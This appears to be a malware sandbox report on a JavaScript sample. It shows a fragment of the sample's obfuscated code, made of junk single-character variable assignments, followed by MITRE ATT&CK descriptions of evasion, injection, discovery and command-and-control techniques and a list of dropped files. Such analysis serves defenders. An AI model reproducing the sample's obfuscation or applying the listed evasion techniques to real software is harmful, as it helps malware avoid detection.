1326	fqhtfqz = "z";
1327	fqhtfqz = "i";
1328	fqhtfqz = "a";
1329	fqhtfqz = "X";
1330	fqhtfqz = "K";
1331	fqhtfqz = "J";
1332	fqhtfqz = "V";
1333	fqhtfqz = "Q";
1334	fqhtfqz = "g";
1335	fqhtfqz = "O";
1336	fqhtfqz = "W";
1337	fqhtfqz = "j";
1338	fqhtfqz = "O";
1339	fqhtfqz = "J";
1340	fqhtfqz = "z";
1341	fqhtfqz = "o";
1342	fqhtfqz = "t";
1343	fqhtfqz = "N";
1344	fqhtfqz = "i";
1345	fqhtfqz = "t";
1346	fqhtfqz = "P";
1347	fqhtfqz = "P";
1348	fqhtfqz = "L";
1349	fqhtfqz = "d";
1350	fqhtfqz = "C";
1351	fqhtfqz = "a";
1352	fqhtfqz = "T";
1353	fqhtfqz = "f";
1354	fqhtfqz = "K";
1355	fqhtfqz = "W";
1356	pdijc = "h";
1357	pdijc = "q";
1358	pdijc = "Q";
1359	pdijc = "x";
1360	pdijc = "J";
1361	pdijc = "q";
1362	pdijc = "m";
1363	pdijc = "N";
1364	pdijc = "G";
1365	pdijc = "A";
1366	pdijc = "Q";
1367	pdijc = "r";
1368	pdijc = "R";
1369	pdijc = "l";
1370	pdijc = "O";
1371	pdijc = "J";
1372	pdijc = "G";
1373	pdijc = "a";
1374	pdijc = "O";
1375	pdijc = "l";
1376	pdijc = "i";
1377	pdijc = "K";
1378	pdijc = "s";
1379	pdijc = "D";
1380	pdijc = "g";
1381	pdijc = "X";
1382	pdijc = "C";
1383	pdijc = "B";
1384	pdijc = "u";
1385	pdijc = "S";
1386	pdijc = "v";
1387	pdijc = "M";
1388	pdijc = "w";
1389	pdijc = "a";
1390	pdijc = "K";
1391	pdijc = "X";
1392	pdijc = "8";
1393	vijzmeb = "I";
1394	vijzmeb = "d";
1395	vijzmeb = "p";
1396	vijzmeb = "X";
1397	vijzmeb = "d";
1398	vijzmeb = "l";
1399	vijzmeb = "Y";
1400	vijzmeb = "B";
1401	vijzmeb = "n";
1402	vijzmeb = "g";
1403	vijzmeb = "F";
1404	vijzmeb = "w";
1405	vijzmeb = "H";
1406	vijzmeb = "W";
1407	vijzmeb = "K";
1408	vijzmeb = "C";
1409	vijzmeb = "h";
1410	vijzmeb = "d";
1411	vijzmeb = "z";
1412	vijzmeb = "Z";
1413	vijzmeb = "Z";
1414	vijzmeb = "D";
1415	vijzmeb = "y";
1416	vijzmeb = "p";
1417	vijzmeb = "v";
1418	vijzmeb = "\\";
1419	jmfcdwsxc = "m";
1420	jmfcdwsxc = "w";
1421	jmfcdwsxc = "b";
1422	jmfcdwsxc = "Z";
1423	jmfcdwsxc = "K";
1424	jmfcdwsxc = "A";
1425	jmfcdwsxc = "K";
1426	jmfcdwsxc = "w";
1427	jmfcdwsxc = "R";
1428	jmfcdwsxc = "s";
1429	jmfcdwsxc = "U";
1430	jmfcdwsxc = "e";
1431	jmfcdwsxc = "H";
1432	jmfcdwsxc = "P";
1433	jmfcdwsxc = "Y";
1434	jmfcdwsxc = "I";
1435	jmfcdwsxc = "N";
1436	jmfcdwsxc = "x";
1437	jmfcdwsxc = "m";
1438	jmfcdwsxc = "d";
1439	jmfcdwsxc = "G";
1440	jmfcdwsxc = "c";
1441	jmfcdwsxc = "R";
1442	jmfcdwsxc = "h";
1443	jmfcdwsxc = "G";
1444	jmfcdwsxc = "r";
1445	jmfcdwsxc = "f";
1446	jmfcdwsxc = "o";
1447	jmfcdwsxc = "k";
1448	jmfcdwsxc = "X";
1449	jmfcdwsxc = "h";
1450	jmfcdwsxc = "b";
1451	jmfcdwsxc = "x";
1452	jmfcdwsxc = "t";
1453	jmfcdwsxc = "m";
1454	jmfcdwsxc = "G";
1455	jmfcdwsxc = "c";
1456	jmfcdwsxc = "I";
1457	jmfcdwsxc = "S";
1458	jmfcdwsxc = "J";
1459	jmfcdwsxc = "G";
1460	jmfcdwsxc = "L";
1461	jmfcdwsxc = "x";
1462	jmfcdwsxc = "c";
1463	jmfcdwsxc = "e";
1464	trxwigco ( );	trxwigco() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 207059547457320193.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5e8e0288-164e-4c2c-b33e-8f45ed84bd09.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF63a304.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b5c8bfb6-4b9f-4ab2-88ba-aaa573ab55b2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
207059547457320193.js